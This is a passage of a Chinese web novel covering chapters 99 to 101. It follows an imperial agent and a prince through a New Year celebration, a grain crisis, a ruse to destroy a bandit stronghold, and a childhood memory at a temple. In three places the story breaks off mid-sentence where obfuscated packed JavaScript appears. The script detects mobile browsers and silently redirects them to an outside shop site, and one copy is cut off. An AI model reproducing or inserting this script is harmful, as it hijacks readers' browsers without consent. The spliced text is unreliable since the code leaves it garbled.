其余人都在外面等着。 苗青忍不住问道:“王爷为何对少使这样好?” 这世上没有人会无缘无故对一个人好的。 更何况还是豁出性命的好。 容朗背靠在榻上,姿势松弛。 “因为我心悦于她呀。” “为何?”对方没有架子的样子让苗青有了追问的勇气,“王爷与少使相识不过短短几月。” “呵。”容朗一脸的不甘心,“你们少使是个负心人呐,把我忘了个干干净净。” 苗青很是坚定:“少使记性极好,王爷是不是误会了什么?” 他很怕,对方只是认错了人。 因为在这些年里,他一直跟着少使,几乎没有离开过,二人怎么会相识? 容朗一眼就看穿了他的心思。 “我和她相识远早于你和她相识。”他有些咬牙切齿,“明明我是最先来的。” 苗青有些不确定了。 难道是少使在国师府的时候和他认识的? 可是…… 若真是如此,就按照对方这个缠人的性子吧……打死也不会让周彻和少使订婚吧…… 真是让人搞不懂。 “只是有些难听的话要说在前面,王爷别指望着少使会成为一个端庄的王妃。” 容朗长叹一口气。 他当王妃都行! “我知道,本王难道像是周彻那样的狭隘小人吗?” 苗青在心里嘀咕。 张口闭口就说情敌是狭隘小人,这还不狭隘啊…… “王爷当然不像周将军那样~” 他就是在阴阳怪气。 最喜欢阴阳怪气的容朗怎么会听不明白。 “苗校尉该出去了。” “王爷是男子呆在这里也于礼不合。” “我是大夫。”容朗把手搭在榻上,“医者眼里无男女,苗校尉快去抓药熬药吧。” 这行宫还真没有其他正经大夫! 苗青气短,怒冲冲走了。 “真是脸皮比城墙倒拐还要厚!”他一出门,就恶狠狠骂了一句。 等在门外的绣衣使拥了过来。 “怎么了?怎么了?少使没事吧?” 苗青黑着脸:“没事,劳累过度,王爷给开了药,一会儿就好。” “真的吗?”瑞王探着头,一脸单纯,“李夫子真的没事吗?这几日也不是很累啊,她怎么会晕倒呢?” 看着面前的瑞王,苗青计上心头。 “小殿下不如进去看看?” 他话音一落,卫川立即反对道:“会吵到少使的!” 其他人也纷纷摇头。 瑞王其实是很想进去看看的,见众人都反对,伤心得肩膀都垮下来了。 “有长乐王在呢。”苗青满脸堆笑。 卫川反应最快,话锋一转。 “哦~那小殿下还是进去吧。” 关风和也不傻:“小殿下性子沉稳,怎么会吵到少使呢?” 苗青被口水呛了一下。 您也用不着这么睁眼说瞎话。 瑞王被夸了性子沉稳,乐呵呵地保证道:“我进去绝对乖乖的,不会吵到李夫子!” 苗青谄媚地帮他打开门:“来吧,小殿下,快进去吧。” 梦里,是繁华的街道。 是晚上,彩灯挂满了天空,路两边的摊子都绑着红绸,满眼的红。 摊子上放着一个个布老虎、拨浪鼓、风车,插在稻草杆上的糖葫芦红艳艳的,尖上还都有一片薄薄的糖,咬下去肯定是脆脆的…… 是小孩眼里的西市。 李希言仰着头看着摊子上的糖果。 “都是自家做的糖呢!”老板手一挥,“酥糖酥酥脆脆,桂花糖甜甜蜜蜜,姜糖吃的人暖暖和和……” “这糖……可真贵啊……”妇人眼中冒出一丝精光,转身对着李希言说道,“没事儿啊,只要你想吃,阿娘就是不吃饭也给你买。” 正要开口的李希言顿了顿。 “我不爱吃甜的。” “真的吗?” “我好困,想回家睡觉了。” 身边的男子抱起她:“我们丫头果然懂事,走吧,阿爹带你回家。” 李希言趴在父亲的背上,闭上了眼睛,不再去看。 “小叔叔,你让我拿糖来干嘛?李夫子睡着呢,还要糖甜嘴啊?” “她喝了药,等会醒了肯定满嘴都是苦味。” “啊?可是李夫子不爱吃甜的呢,我都没见过她吃糖。” “你少说话能行吗?你知道什么。” “李夫子十几岁就在教我武功了,我当然知道,你和她才认识多久。” “你给我闭嘴……” 耳边的声音一点点变得清晰,李希言缓缓睁开了眼。 大梦一场。 “姐姐!你醒了!”容朗一把推开挡在中间的瑞王,坐到了她的面前。 “嗯……”李希言撑起身体想要坐起来。 肩膀到背到整个腰都是僵的。 容朗扶着她坐起来:“你睡了一日了,今日都三十了。” “嗯?” 被推开的瑞王靠在柱子上:“大家都等着你呢,李夫子你也真是,怎么又把自己累倒了?” “累倒了?”李希言怔了一下,“是,太累了。” 意识逐渐清醒,嘴里的苦味也越来越浓。 一颗糖被塞入口中。 “我们喂你喝了两碗药,是会有些苦。”容朗面色如常。 嘴里的甜化掉了药的苦。 门被轻轻推开。 关风和蹑手蹑脚走了进来。 “关姐?” “你醒了!”关风和几步冲了过来,直接上手摸来摸去,“真没事儿?” “只是累了。” 门大开着,带着微微的凉意的风吹了进来,驱散了药味。 院子里,摆了两张大桌子,每个人都在忙来转去。 关风和指了指:“大伙儿都等着你一起过年呢。” 众人虽然吃的惯南诏的食物,都是过年的好多习俗总是不能改。 这两桌子菜都是行宫的人准备食材,绣衣使们自己做的。 关风和不会做饭,都是愿意出力气:“这菜有一半都是我切的。” 作为掌勺的苗青挺起了胸膛:“这几个大菜都是我做的。” 卫川不甘落后:“我负责摆盘。” 方淳迷茫地“啊”了一声。 他好像啥都没做。 “没事儿啊方哥,这次去查平南侯家的产业,你最辛苦。”钟力给他倒上酒,“好好喝一杯。” “让让啊!最后一个菜!” 众人都已经到齐了。 李希言先是给每人发了过年钱。 “总是辛苦你们,过年都没法回家。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14502107|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 卫川说了句大实话:“在家多没意思,从腊月开始相亲相到正月。” 出来自由不说,好有个好名头——出公差! 其余人纷纷附和:“是啊是啊!” 容朗见状忍不住问道:“诸位都没有成家?” 年纪最大的关风和:“怎么?很奇怪吗?” 容朗眼神瞟向钟力。 “咳……”李希言悄悄扯了他一下,“钟力最小,明年才满十八。” 容朗眉毛拧了起来。 看上去胡子拉碴的…… 瑞王操心:“可是其余人也都没个心仪之人吗?” 绣衣使们兢兢业业的,怎么能连家都没成。 “忙。” 绣衣使的出身复杂,像卫川这种才是少数,一大半都是无父无母的人,剩下的都是家在外地,没父母操心,一天到晚又忙个没完,有时间也都是休息玩乐。 见瑞王一脸要摩拳擦掌的表情,李希言继续说道:“绣衣使身份特殊,若与王公贵族缔结姻亲并非好事。” 瑞王一下熄了心思。 酒过三巡,李希言浑身又开始酸痛。 容朗看了一眼四周。 绣衣使们都各自玩儿得高兴着呢。 有的在行酒令,有的在投壶,还有几个要跳什么胡旋舞让卫川给他们伴奏,连张锦也被拉着在那边玩儿牌…… 他小声说道:“我让人把这儿的温泉池子都弄干净了,你去泡一泡吧?” 李希言正难受得紧,自然是应了下来:“好。” 温泉池子被草编席围了三面,只剩下一面正对着下方的洱海。 硕大的明月高悬空中,月光明亮,将视野内的范围照得清清楚楚。 天上忽然飘了雪,雪白的,一片片的,在空中飞着,像是羽毛一般轻柔。 “姐姐……”声音小小的,隔着草席从隔壁传来。 温泉的热度有些上脸。 “王爷?” “嗯……肩膀有好一点吗?” 热气熏蒸出藏在皮肉下的冰凉凉的寒湿。 “好多了。” “我可以问问到底出了什么事吗?” 不确定的用词,算得上卑微的语气。 李希言心尖传来熟悉的刺痛。 他不应该这样和她说话的。 “不是什么大事。” 比起……其他,确实不算什么大事。 “嗯?” “我的母亲去世了。” “她还在世?” 容朗很是意外。 他记得她的父母都命丧在当年那场大火里了。 或许是草席的遮挡,让人少了那份窘迫的情绪。 “在的。因为……她性子古怪,师父怕影响我的仕途就一直让她在南郊将养。” “老国师的决定没有错。人生在世,都是应该以自己为先。我小时候有个朋友和我一起读书,歪解了一句诗,倒是说的很有意思。” 李希言脱口而出:“‘弃我去者,昨日之日不可留。乱我心者,今日之日多烦忧。’?” 沉默持续了片刻,容朗的声音带着颤抖的尾调从隔壁传来。 “是啊。她说抛弃我的人就应该把他永远甩在昨日,让我心里烦恼的,就要让他天天有很多烦恼。” “这样看来我还要多谢那个纵火之人。” “此人弄巧成拙,应该会恼羞成怒。” “话虽如此说,可是他的目的终究是想让我烦恼。” “李少使想给他找麻烦?” “那人太闲了,才会生出这许多事来。” “李少使心里已经有了人选?” “除了那个幕后黑手还能有谁?毕竟连王爷都很意外我母亲还在世的事情。” 容朗心虚了一下,尴尬地笑了两声。 “只是王爷似乎并不意外我的态度?” “反正你永远不会有错。” 李希言噗嗤一下笑出了声音。 心里所剩不多的一点抑郁随着温泉的热气飘下了山。 99. 北上凉州马蹄青 过完年,一行人急着收拾了东西准备北上。 李希言正在屋内盘点刚刚才去南诏王宫领回的贡礼。 容朗放下蒙望书呈上的折子:“这些东西还是交由其他的人护送?” “嗯……”李希言坐了下来,“这些东西倒是个个贵重。” “那个珊瑚璎珞,嫂嫂肯定很喜欢。” “皇后殿下生得白,戴这个确实好看。” “蒙望书倒是聪明。知道该讨好谁,六箱,有五箱都是女子用的。” “陛下登基多年,后宫只有皇后殿下一人,其中情分,他自然明白。” “少使,凉州军营来信。”苗青窜了进来。 “是周彻?” “周彻!” 坐着的二人异口同声,但是语气完全不同。 一个是疑惑,一个是明显的嫉恨。 李希言横了容朗一眼,把信打开。 “让我看看……”容朗硬生生凑上去。 千万不能再给小人可乘之机! 是周彻的字迹。 一笔一划,铁画银钩。 但是下笔处有些焦急。 内容也确实让人皱眉。 凉州河西军,缺少粮食,急需十万石粮食。 李希言放下信。 “十万石……” 周彻是个绝不会夸大事实的性子,既然开了口就说明真的缺,而且真的急。 容朗有些奇怪:“今年没怎么闹饥荒,怎么会突然缺粮?” “应该是出了什么事,他也不好在信上说明。” 李希言立即拿起纸笔写下一封信。 内容也和粮食有关,为凉州求购十万石粮食。 “送去苏家。” “属下遵命!” “苏家?”容朗鼻子动了动,像是嗅到了什么,“汾州苏家?” “是。” “他们家那么有钱?” “重光很持家,家底子很厚。” “重光是谁?!”容朗急得双颊微微发红。 李希言还在收拾纸笔,没有发现他的异样。 “苏家家主苏兆,他家本就是酿酒的,很许多粮商都有来往。” “你叫他重光?”容朗的声音颤得厉害。 “表字不就是让人叫的吗?” “可是你叫我王爷!”容朗按住她拿着纸笔的手,让她不得不抬起头看自己一眼。 李希言却忽然一笑:“王爷真的喜欢别人叫你的表字吗?” 他的表字是伦德,是先帝和先皇后所取。 果不其然,容朗厌恶地皱了皱鼻子。 李希言拍了拍他的手,带着安抚的意味:“那王爷现在想让我怎么叫你?” 她笑起来和不笑的时候完全不一样,眼下会显出浅浅的卧蚕,看上去分外温柔,让人心里都暖暖的。 容朗心里不由觉得委屈:“你可以像哥哥一样叫我六郎。” “王爷行六?” “哥哥前面其实还有一个大哥,所以我不是行五,是行六。” “陛下不是长子吗?” “很多年前的事情。大哥比哥哥只大几个月,五岁那年他们一起去御花园玩的时候落水没了。”容朗的眼里满是心疼,“哥哥说是大哥救了他……” 一个活到了五岁才死亡的皇子,还是长子,死后却没有任何封号,甚至连行辈都不被算上,像是被抹去了一般。 他的死亡……李希言根本不需要去猜都知道是怎么回事。 “先帝不许任何人提起他,抹去了他的存在,哥哥登基后也只能改回我们的行辈。京城里年纪大些的都知道这件事,你看,像老夫人都知道叫我六郎。” 李希言搓了搓手指,眼神飘忽。 她怎么没印象? “就是寿宴那日啊。”容朗向前倾身,坏笑道,“李少使记性不是很好吗?为什么不记得了?” 那日…… 自己情绪很失控,莫名的烦躁,根本没有听到老夫人在说什么。 对上对方的视线。 李希言有一种被看穿了的感觉。 “我记性不好!” “不好就不好。”容朗语气从容,眼神却一错也不错地盯着她的脸,“你别激动啊。” 李希言重重拍了一下他的手背。 “疼~”容朗立即装疼,甚至还挤出了泪花,“姐姐干嘛打我。” 李希言没好气地瞪了他一眼:“手痒。” “手痒我给你挠挠……”容朗顺势抓住她的手,“是这里痒?嗯?” 李希言戳着她的肩膀。 “别闹……” 容朗的脸皮多厚,面不改色地抓住她的另外一只手。 “我有个止痒的法子……” 李希言被他弄得窘迫,红着脸直往后仰。 “李夫子!”一声疾呼。 瑞王像是风一样跑了进来。 二人的手还没有分开。 张锦晚了一步,死死拽着他的袖子:“奴婢求您……” 现在走还来得及! 瑞王看见二人的模样,倒吸了一口凉气,脑瓜子嗡嗡的。 他一定是在做梦…… 他一定是在做梦…… 李希言想要抽回手却被容朗死死握住。 他一脸自然:“你跑进来做什么?” 瑞王表情麻木,就这样呆愣着看着他们。 “我们要去凉州?” “是啊。”容朗甚至还晃了晃二人交握的手,“走陆路到鸣沙县翻过鸣沙山过了澧城就到了。” 瑞王扶住有些晕的脑袋:“哦哦……我知道了。” 看他被打击得不轻的样子,张锦有点心疼了。 能理解,他最开始知道李希言就是自家小主子寻找的人时也是这个感觉。 像在做梦一样。 “小殿下,我们先回去吧,啊?” “嗯嗯……”瑞王胡乱应了两声,就迷迷糊糊地被张锦牵着离开了。 一直回到房间,他才回过神。 “张公公……我刚刚看到的是幻觉吧?” 张锦给他端茶倒水:“哎呦,小殿下您这是什么话,男人要学会面对现实。” 瑞王一屁股坐到凳子上:“不可能吧?小叔叔不是有个什么……我爹说那叫什么白月光?怎么会……” 他想到了什么,豁然起身:“他是不是把李夫子当成了替身!不行……”他神神叨叨地要往外走,“我得去告诉李夫子,可不能让她被骗了……” 张锦死死拉住他:“您胡想什么呢,李夫子就是那个人!您想想!小主子不是一直说要找那个眉头长了红痣的!” 瑞王却愈发肯定:“他说那女子善良爱笑性情开朗健谈!你自己说说这几个字哪一个和李夫子搭边!还什么红痣,一听就知道是他把人当替身了!” “善良……”张锦憋得满头汗,“至少算吧?” 瑞王想去扳开他的手:“你别拦我!” “小殿下!真没认错!真没认错!陛下都去确认过了!” 瑞王的动作一点点停了下来。 他淡淡地“哦”了一声。 淡淡中透露着一丝丝绝望。 张锦松开手:“小殿下您少看点那些杂书,什么替身不替身的……” “我在阿娘那里翻到的。” 张锦一脸坚定:“那肯定是皇后殿下缴获的违禁的书,暂时存放在她那里的。” 瑞王清了清嗓子:“你们早都知道了?” “小殿下……”张锦一脸无奈,解释道,“不说多了,就说当时落水那件事,依照小主子的性格,他会去拼命救人?” 瑞王嗫嚅:“我还以为是他热心呢……” 他越说越没底气。 “小主子可不是个会对无关之人热心的人。” “我没想那么多嘛……”瑞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14507109|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王说着说着表情忽然一滞,声音发飘,“那我以后岂不是要叫李夫子婶婶了?” 张锦笑眯眯开了个玩笑:“那可不一定,李少使还没应呢。” 瑞王有些幸灾乐祸:“那可真是太好……太可怜了,我的小叔叔!也不知道阿爹阿娘知不知道这事儿……” “陛下和皇后殿下早就知道了……” 瑞王愣住。 “您是最后一个知道的。”张锦又补上一刀。 千里之外,京城皇宫。 正准备安寝的帝后二人也正在讨论同一件事。 床帏之下,夫妻密话。 “二郎,你说这小六那儿怎么还没有音信啊,难道李少使不喜欢他?” 皇帝很是骄傲地挺起胸膛:“小六还是有几分姿色的。” “胡说什么。”皇后被他逗笑了,轻轻锤了他一下,“说事情呢。” “说说说……”皇帝揉着胸口,“依我看呢,李少使既然是当年那个小娘子,那么她对小六也不见得没有任何情分。咱们家小六又专一又好看,只要他用心,李少使一定……” 想到自己下属那个性格,皇帝还是换了个词。 “有可能应下的。” 皇后一脸忧虑:“我就怕小六无法得偿所愿。那孩子两年前那个要剃发的疯劲儿真是吓煞我也。要是李少使真不要他……我都怕他想不开……” 被她这样一说,皇帝心里也有些惴惴不安。 “应该不会吧……”他努力说服自己,“希言是个善良的孩子。” 皇后叹气:“两个人在一起是要靠缘分不是靠谁可怜谁。” 皇帝本就是个大气舒朗之人:“别管那么多了,那小子自己的事情,我已经帮了他那么多了,他要是不争气还是他自己不行!” “也是……急也急不来。”皇后问道,“前段时间查的事情可有了眉目?” “这事儿我交给绣衣司去干了,反正他们那么能干。还有这次小希言可帮了我的大忙,等她回来我得好好给她几块地。我不管了……”皇帝一下倒在皇后身上,“我要睡觉!明日还有该死的早朝!不想早起……” 城郊山谷。 雪将整座山谷覆盖,远远看去,白茫茫的一片,只有两个小小的黑点。 男子披着漆黑的裘衣,咳嗽了两声。 “宫里传来的消息,云南王死了。” “主子……这……不是我们动的手啊……” “不是你们?” “回禀主子。”男子跪了下来,“当时姚家的二房忽然动作,我们的人没有混进去,所以才没有办法完成您的任务。至于云南王怎么死的,都说是姚千峰所为。” “不可能。李希言当时就在云南王身边,姚千峰没那个本事。” “下面的人也觉得奇怪,特意去探查过。云南王所处的地方距离宫殿门口甚远,即使被射中也不应该会致死。” 男子忽然笑了。 “我知道了。” “什么?” “是李希言做的。” 下属一脸震惊:“她?” “果然,她是值得一用的人。”男子抚着身上柔顺的裘衣,“真是可惜啊可惜啊……我还没有亲眼见过她一次……” 人对于同类有着敏锐的直觉。 “等她回京,自然会来见您。” “消息她知道了吗?” “知道了,但是……好像没有什么反应,就像是什么都没发生一样。” 男子微微有些讶异,旋即很快哼笑了一声:“我和她,真的是同类。” 下属不敢多问,只禀告道:“凉州那边的行动已经开始了,周彻正在到处求助。” “开胃小菜罢了。”男子高高抬起腿,向前山谷外走去,“后面才是正头戏呢。” 山谷空空,只剩下两排长长的脚印。 朔风回旋,裹挟鹅毛大的雪片,很快,脚印被雪片填满,消失…… 100. 鸣镝飞 自南诏北上至河西一带,路途实在过于遥远。 一行人走官道马不停蹄走了四五个月才终于到了鸣沙县。 走陆路最是辛苦,马车颠簸,骑马臀部受累。 这一路下来,一群人是马车骑马换着来,落了个身劳心累的结果,连结实的钟力都瘦了一圈。 距离鸣沙县只剩下最后十里了。 李希言骑在马上走在最前面,眺望着。 天哪,总算是要到了! 心里不由雀跃了起来。 路两边是起伏的山脉,和其他地方不同,这里的山没有任何植物覆盖,而是碎石黄沙覆面,有些地方还裸露着坚硬的石头,那是山的筋骨,看上去粗粝而沧桑。 脚下的戈壁滩一望无际,碎石在风的作用下跳动。 呼—— 一阵狂风,卷起走石,扬起风沙。 遮天蔽日的风沙让天光都暗了下来 众人立即矮下身,低下头。 头上加厚的帷帽此时起了作用。 队伍顶着风前进。 一刻钟后,风暂歇,四周逐渐亮了起来。 李希言直起身,抖了抖衣裳褶皱里的沙子,沙子扑簌簌落下来,像在下雨似的。 容朗勒住缰绳,朝着她偏身:“难怪都说到这边儿是吃沙子。” “我觉得给河西军的待遇应该更优厚些……”瑞王的声音有气无力。 “各有各的苦。”李希言说道,“河西风沙,平卢那边苦寒,岭南又湿热多瘴气。” 瑞王抹了一把脸上的灰,原本白皙细嫩的脸都糙了几分:“我一定会好好读书。” 李希言大为感怀。 还是陛下会教孩子啊!读万卷书不如行万里路。 啸! 破云在天空中飞速盘旋,发出急促的啸声。 有敌人? 还不等李希言反应,左侧的山上沙尘骤然扬了起来。 不用她下令,所有人已经警觉地调转马头,对着山上抽出了刀剑。 哒哒的马蹄声停下。 嗖嗖—— 弓箭破空之声带着独特的哨音。 “响箭!是马匪!”李希言挥刀打掉两支冲着面门袭来的箭。 又是一阵哨音。 马匪终于现身,从山顶上冲了下来。 人数有点多…… 李希言心里有了盘算。 她向后一退,对着苗青小声吩咐了几句。 “这怎么能行!您就一个人……” “容朗会和我一起。” 扬起的沙尘扑面,马匪就要冲到跟前,没有时间浪费了。 李希言催促道:“记住了。” 苗青咬牙:“属下遵命!” “弟兄们,捉羊喽!” 马匪猖狂的扬起手里的刀。 接了命令,绣衣使们边战边退。 容朗瞬间明白了李希言的意图。 他趁着空隙嘱咐张锦:“照顾好二郎。” 马匪们人多势众。 黑压压的一片很快就将一行人逼到了绝处。 苗青大呼:“撤!” “快!截住他们!” …… 马匪们围着李希言和容朗二人,面色不善。 “二位的手下都跑了,你们还要抵抗?” 李希言啐了一口:“没用的下人!” “小娘子别生气啊,别人拿了你家多少钱?何必为你家拼命呢?” 李希言骑在马上:“人为财死,鸟为食亡。” “你这话说的对,可是没命花钱就很蠢了。” “你是马匪头子?”李希言看着为首的男子。 那身形庞大的男子很是悠然:“是啊。” “你们做马匪也是为了钱吧?” “不然呢?” “我是苏家人。” “苏家?”马匪头子眼中闪过一丝绿光,“汾州苏家?” “苏兆是我们的堂兄。只要你愿意放过我们,我们可以让人给你拿钱来赎。” 马匪头子心中一喜,面上还是一脸怀疑:“你说你是苏家人?有什么证据?” 李希言从怀里掏出一个木牌往他怀里一掷:“自己看!” 这样子还真像是大户人家的小娘子的任性劲儿。 马匪头子接住木牌。 “还真是苏家的牌子……” “你要多少钱?”李希言昂着头,仿佛自己不是被劫掠的对象。 马匪头子又不傻。 两个苏家人能换不少钱,干嘛不答应。 “五千两!” “五千?”李希言一脸冷静,“这里肯定一时拿不出那么多现银,部分折换成珠宝可以。” 马匪头子忍不住露出贪婪的笑容:“那就说定了。” 李希言还是一脸高傲:“拿着牌子去城里的东兴楼找王掌柜,把这牌子给他。”她说完眯了眯眼,“等我回去,一定要把那些狗奴才的皮给扒了!” “姐姐别生气……”容朗劝着。 “二位,都是咱们可得说好,别出尔反尔,弟兄们讨口饭吃不容易。” 李希言不屑一笑:“五千两买命很划算,我犯不着和你们过不去。” 马匪头子还是第一次遇见这么冷静镇定的大户人家的孩子。 “小娘子确实爽快!” 他也犯不着和钱过不去! 拿捏了马匪头子的心理,李希言直接驱马走到他面前。 “带路吧。” 马匪头子挑眉。 嘿!他还真不敢让这五千两出什么问题! “请吧,二位!” 二人大摇大摆地骑着马进了马匪的山寨。 李希言演得很好。 一进去,就下了马,还把缰绳扔给了旁边的马匪。 “我们住哪儿?” 马匪头子默念着“五千两”“五千两”…… “寨子里没什么好房间。” 李希言皱着眉:“干净就行,我和我家阿弟住一间。” “苏小娘子。”马匪头子呲着牙笑,“二位今晚就住我旁边的房间,干净的很。” 李希言矜持地点点头。 那马匪头子想到五千两银子心里就发热,急不可待地安排手下去城里,又叫了一个自己的亲信带着二人安置下来。 那亲信长得倒是斯文不少,皮白肉嫩的,额头前留着头发,挡住了眉眼,透过头发的缝隙,能够清楚地看到他额角上刺着的字。 是个杀人犯。 李希言饶有兴致地偏着头去看他。 “你是怎么逃出来的?” 原本一脸和善的男子面色扭曲了一下。 “小娘子好奇心太重。” 李希言大大方方地笑了一下:“你读过书?” 男子缩了缩手:“是。” “那为何杀人?是因为被欺压了?还是为了复仇?” “你问得太多!”男子抬起细长的眼,阴恻恻笑了起来,“苏小娘子,我可不是那些没脑子的马匪,有那么好拿捏。” “别动气。”李希言拉着容朗,“我只是想找个人帮我做事而已,难道你愿意一辈子在这山寨呆着?” 男子撩起自己额间的头发:“我没有别的地方可去。” “这玩意儿不能想办法去掉吗?” “不能,逃出来的人不少,什么办法都试过。” “那真是可惜。”李希言没再多问,只捏了捏容朗的手。 走了片刻,二人终于到了安排好的房间。 那马匪头子倒是守信用,这房间确实干净,就是不大。 “将就住着吧。”男子将二人带到,转身准备离开,“吃食等会儿有人给你拿来。” 等那人走远,二人才松了一口气,小声讨论了起来。 “这马匪还挺好忽悠的……” “他和咱们又没仇,五千两放人,傻子才不干。” “姐姐,为什么我们不当时了结了他们,还非要装作被他们抓住的样子?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14517178|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正午时分,距离城内不到十里路,他们就敢劫官道上的过路人,可见他们平时有多猖狂。我想着把他们彻底收拾了。” 容朗点头赞成:“这些马匪出去打劫的时候寨子里肯定会留人看守,只有进入寨子才能斩草除根。” “现在,我们就等晚上了。” 是夜。 寨子里热闹得不得了。 去送信的小喽啰得了回话——明日午时就奉上五千两白银! 这么大一笔钱,那可是原来打劫一年都赚不到的数目。 马匪头子叫了几个人好好看守二人,就自己带着其他手下在大堂里吃吃喝喝,好不尽兴。 “老大,咱们今儿个可是真发了!两个人就能换五千两哪!” 去传信的小喽啰一边说一边搓着手。 “那掌柜看了牌子,一句话都没多问就说立马给钱!” “那可是苏家!”马匪头子痛饮下一碗酒,“听说那个苏兆的身家现在在整个大晋都是能排上号的!” “别说,这苏家的人确实厉害,不说苏兆,就说那两个……”马匪朝着隔壁房间的方向努努嘴,“那镇定的的样子,还是个小娘子呢!就是看着欠揍。” 马匪头子无所谓地摆摆手:“钱到手就行。” 富贵人家的人有几个不傲气的! 这两个,还算老实。 “来!喝酒!” 这边喝得热闹,隔壁的二人也没闲着。 只需要一点点迷烟,外面看守的人自己就能倒下。 李希言推开房门慢步走了出来,随手捡了一把刀。 不远处就停着几匹马。 二人走过去,骑上了马。 李希言拿起手边的一个火把。 “你拿火把做什么?” “放火烧了。” 容朗连连点头:“这个法子好。” 火光映照在李希言的脸上。 热度扭曲之间,她的嘴角像是翘了起来。 容朗伸出手,眼睛发直:“我来吧……” 这么开心的事情,李希言才不愿意教给别人。 她一把将火把扔到大堂的屋顶。 干燥的木制屋顶瞬间被点燃。 李希言很是满意,缰绳一抖。 “走!” 信号弹在一片火海上升空炸开。 早就潜伏在四周的绣衣使一拥而上。 马匪们从火海里冲出来。 “你们苏家不讲信用!”马匪头子看着被烧成灰烬的寨子,怒吼着。 “什么苏家?”容朗听着就来气,“老子姓容!” 容? 马匪满是黑灰的脸懵得不行。 “啥啊?姓容咋了?” 容朗气得胸闷。 “别他大爷的废话!”马匪挥刀而来,“老子弄死你们!” 兵戈交接。 不过片刻,马匪已经倒了大半下去。 正在此时,关风和忽然凑近。 “少使,左后的房子里关了好几个女人。” 李希言手中的动作一顿。 “你快去把人带走。” “是……” 马匪头子一见关风和的动作就急躁了起来。 李希言挡在他前面,阻拦着他的去路。 “看清你的对手是谁。” 火势逐渐变大。 风吹了起来。 李希言余光瞥见关风和已经带着人往外跑了,决定撤退。 她边打边退。 只要把这些匪徒困在火中即可。 忽然,一声哨音响起。 是响箭! 箭从她的侧面擦过,直冲关风和的方向而去。 糟糕! 李希言转身拿刀去挑开箭矢。 却在下一瞬间,胸口转来了一股剧痛。 她喉咙中挤出一丝痛苦的呻吟。 “李音!” 眼前越来越黑,但是是谁在叫她的名字。 李音,李音…… 101. 青嶂寺中 三月暮春。 青嶂寺的后山开满了花。 白的,黄的,紫的,红的。 漫山遍野,看的人眼睛都要花了。 一个面黄肌瘦的小和尚走在山峰上,背着柴火。 柴火其实不多,但是相较于他瘦弱的身体实在是太重了些。 他走了几步,实在是撑不住,放下了背上的柴火,就近坐在石头上喘气。 天上的太阳好像变得越来越大。 他站起身,重新背起柴火向山顶走去。 刚踏上山顶,一阵窸窸窣窣的声音骤然在前面响起。 还不等他来得及细看,一声尖叫又传来。 “啊!” 小和尚立马朝着前面跑了过去。 峰顶长着一丛丛紫色的龙胆草,鲜妍亮丽,开得绚烂。 花丛里趴着一个青布衣裳的小姑娘。 “娘诶!”小姑娘喊了一声,撑起身体坐了起来,头上用红绳扎好的小辫,一翘一翘。 她眉头长了一颗红红的痣,像……像他天天看到的观音娘娘 “你……”小和尚站在原地,“你没事吧?” “嗯?”小姑娘猛然抬起头。 看着对面表情木木得近乎呆滞的小和尚,她咧嘴笑了。 “你是庙里新来的小和尚吗?” 小和尚的表情更呆了:“是……” “你怎么呆呆的?” 小姑娘拍了拍衣服上的青草,背起挎着的篓子小跑着过来。 那张笑脸骤然在面前放大,小和尚像是被太阳晒到了似的,吓得往后退了一步。 “我问你话你怎么不回答我?”小姑娘觉得这个小和尚可爱极了,步步紧逼。 “我……我是!” “我是山下李家饼铺的孩子,你呢?你叫什么名字?” “我……我叫……” 小姑娘看他一脸为难不堪的模样抢先开口:“那我就叫你小和尚好了!” “嗯……”小和尚觉得有些放松了,“你来这儿摘草药吗?” “是啊!”小姑娘拍拍腰间的篓子,“我阿娘嘴巴里老是苦苦的,我来采点龙胆草。” “口苦?光用龙胆草没有用。” “你会医术?”小姑娘瞪圆了眼,“你好厉害呀!” 小和尚黄黄的脸一下红透了。 “我……我懂一点……” 小姑娘的眼神有些灼人。 他紧张得咽了咽口水:“你……母亲她是不是还喉咙痛,心情烦躁?” “太神了!” 小和尚一直结结巴巴的。 “我……我那里有栀子,加在一起泡水喝就好……” “你要给我药吗?”小姑娘面露为难,“可是我没带钱啊。” “不要钱,不要钱……”小和尚连连摆手。 “那可不行!”小姑娘咬了咬嘴唇,“我给你一个饼作为交换好不好?” “不……” 不等他拒绝,小姑娘就把饼塞到了他的手里。 “必须要!” 这是小和尚第一次和同龄的人打交道,他不敢拒绝,怕失去这个朋友。 “好……” 梦境旋转。 禅房外开着大片大片的栀子花,雪白柔软。 小姑娘坐在禅房里,戳了戳旁边正在包药的小和尚。 “你这里可真漂亮!” “漂亮吗?”小和尚不这样觉得。 “当然!我做梦都想住在这样的房子里!” 